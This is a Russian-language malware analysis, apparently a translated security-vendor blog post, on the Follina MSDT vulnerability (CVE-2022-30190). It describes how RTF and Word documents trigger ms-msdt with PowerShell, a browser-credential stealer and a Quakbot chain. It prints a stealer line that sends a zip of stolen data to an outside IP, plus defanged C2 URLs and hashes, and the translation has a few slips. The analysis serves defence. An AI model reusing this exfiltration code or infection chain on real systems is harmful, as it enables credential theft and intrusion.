30 мая 2022 года в средстве диагностики поддержки Microsoft Windows (MSDT) была обнаружена уязвимость CVE-2022-30190 «FOLLINA», позволяющая удаленно выполнить код нулевого дня, имеющая высокий уровень серьезности (CVSS:9.3).
Этот инструмент MSDT диагностирует проблемы в таких приложениях, как документы Microsoft Office. Первоначальный вектор атаки, например, документы Word, использует функцию удалённого шаблона для загрузки HTML-файла, который затем по протоколу URL вызывает этот диагностический инструмент (MSDT) и выполняет вредоносный код. При этом первоначальные атаки ограничивались Microsoft Word, но в последнее время векторы атак расширились, включив в себя RTF и Outlook.
Эта уязвимость эксплуатируется в реальных условиях, и злоумышленники, успешно воспользовавшиеся ею, могут выполнить произвольный код и установить дополнительные программы. Злоумышленники используют эту уязвимость для распространения бэкдоров, AsyncRAT, Quakbot и другого вредоносного ПО среди потребителей и в различных отраслях по всей Северной Америке и Европе.
Подробный анализ уязвимости:
Первоначальным приложением для вызова инструмента MSDT будет Microsoft Office (Word, Excel, RTF и т. д.).
Рис. Схема потока
Ниже приведён пример RTF-файла под названием «Employment_Agreement_Template». В этих RTF-документах используются объекты OLE.
Рис. Файл RTF с OLE-объекты
При открытии этого документа отображается следующее сообщение:-
После того, как жертва нажимает «Да», по встроенной ссылке http[:]//45[.]76[.]53[.]253/1.html загружается закодированный HTML-файл, как показано ниже:
HTML-документы содержат закомментированные символы «A» в нижней части файла, расположенного ниже кода.
Рис. Закодированные данные в HTML-файле
Встроенный код в HTML-файле вызывает PCWDiagnostic с помощью ms-msdt с параметром IT_BrowseForFile, который включает синтаксис PowerShell. Декодированная часть данных в кодировке Base64:
Рис. Декодированные данные
Этот код останавливает msdt.exe, если он запущен, и подключается к URL-адресу «hXXps [:]//seller-notification [.]live/Zgfbe234dg» и загружает скрипт POWERSHELL.
Эксплойт Фоллины был использован для развертывания Stealer на основе PowerShell. Давайте подробнее рассмотрим его содержание:
Рис. Содержание сценария, часть 1
Скрипт проникает в Appdata/Roaming и пытается украсть данные входа, файлы cookie и т. д. таких приложений, как Firefox, Opera, Yandex, Vivaldi, CentBrowser, Comodo, Chedot, Orbitum, Chromium, Slimjet, Xvast, Kinza, Iridium, CocCoc, AVAST Software, Chrome, Outlook, Thunderbird, NetSarang, Windows Live, FileZilla, MobaXterm, WeChat.
Вредоносное ПО запрашивает реестр, чтобы украсть информацию, связанную со следующими приложениями: Autodesk, MobaXterm, Oray SunLogin RemoteClient, MailMaster, Navicat, WinSCP, Microsoft Office, FTP, RAdmin и т. д.
Рис. Содержание сценария, часть 2
Помимо этого, он также собирает информацию, связанную с машиной:
- Системная информация (включая имя хоста, информацию об ОС, владельца, информацию о BIOS, зарегистрированного владельца)
Идентификатор продукта, исходная дата установки, время загрузки системы, производитель системы, модель системы, тип системы, процессор, версия BIOS, региональные настройки системы, часовой пояс, общая физическая память, домен, сервер входа и т. д.) - Конфигурация IP (через Ipconfig)
- Конфигурация рабочей станции
- Информация об учетных записях пользователей
- Администраторы локальных групп
- Версии названия продукта
Файл .zip создается в %temp% и отправляется на URL:
$http_url = «hxxp://45[.]77.156[.]179:443/» + $ip + «———-» + $time1 + «.zip»
$time1 — это временная метка эпохи, рассчитанная
Это также действует как проверка виртуализации.
Давайте рассмотрим еще один пример Quakbot:
Фишинговое письмо с вредоносными HTML-вложениями, загружает файлы архива (.img) (ed63c189b52e4eb663598dc0c3121e05). Этот архив содержит .lnk (76390978f26d3c6d7f799257542796ce), полезную нагрузку qbot (a14d48974eab6839b1238f984b3c28d2) и файл doc (e7015438268464cedad98b1544d643ad).
Рис. Схема потока
Полезная нагрузка qbot в zip-архиве выполняется через .lnk, а файл .doc загружает HTML-файл. Этот .html-файл, в свою очередь, загружает другую полезную нагрузку .qbot, эксплуатируя уязвимость Follina.
Здесь HTML-файл загружается с http[:]//185[.]234[.]247[.]119 и содержит данные, показанные на следующем рисунке:-
Рис. Данные HTML-файла
Этот HTML-код подключается к указанным выше URL-адресам и загружает dll-файл Quakbot (ce86511634b5420332eb6267c0e2ae2e), который затем запускается через regsvr32.exe.
Анализ:
Этот файл Quakbot представляет собой скомпилированный файл Delphi с зашифрованными данными в разделе .rsrc внутри RCDATA, которые расшифровываются в виртуально выделенной памяти. На рисунках ниже показаны зашифрованные данные и цикл расшифровки.
Рис. Зашифрованные данные
Рис. Описание цикла
Это расшифровывается в API и 1st файл стадии PE
Теперь поток переходит к первому этапу, который отвечает за внедрение DLL и размещение полезной нагрузки Quakbot в памяти. Для зашифрованных строк выполняется расшифровка RC1, которая выводит список процессов, например, процессов, связанных с антивирусом, и т.д. Если они обнаружены запущенными, полезная нагрузка завершается. На рисунке ниже мы видим проверяемые процессы.
Список проверяемых процессов включает:
Позже он выполняет внедрение процесса в «onedrivesetup.exe»:-
Qbot связан с кампанией «obama186». Ниже представлено изображение, демонстрирующее соединения C2 из «onedrivesetup.exe»:
Методы обхода:
Мы наблюдали, как злоумышленники использовали методы кодирования в начальных векторах атак для обхода обнаружения. Следующие примеры иллюстрируют это.
Рис. Пример № 1
Рис. Пример № 2
Вывод:
Это одна из самых критических уязвимостей нулевого дня за последнее время. Эта уязвимость CVE использует множество методов обхода, не имеет исправления и легко эксплуатируется. После выхода обновления безопасности от Microsoft пользователям следует немедленно устранить её. До этого момента мы рекомендуем организациям быть бдительными и следовать приведенным ниже мерам, чтобы уменьшить поверхность атаки и возможный ущерб.
Для устранения последствий «Фоллины» следуйте рекомендациям:
Как Quick Heal защищает своих клиентов?
Современные технологии защиты продукции Quick Heal защищают наших клиентов от фоллиноза.
В нашей поведенческой технологии обнаружена уязвимость Follina под названием “CVE_2022_30190_Follina”. Аналогично, в Seqrite В отношении продукции Hawk Hunt у нас действует политика, которая называется... «QHIR_CVE_2022_30190_Фоллина» для идентификации этой атаки.
Ниже приведены обнаруженные на основе файлов и сети угрозы для Follina:
1. На основе файлов:
- Бэкдор.Турианец.S28183972
- Trojan.Qbot.S28211728
- CVE-2022-30190.46655
- CVE-2022-30190.46638
- CVE-2022-30190.46635
- CVE-2022-30190.46624
2.Сетевые:
- CVE-2022-30190.RCE!46674
- CVE-2022-30190.RCE!46675
Эксперт предметной области
Теджасвини Сандаполла
Амрута Вагх
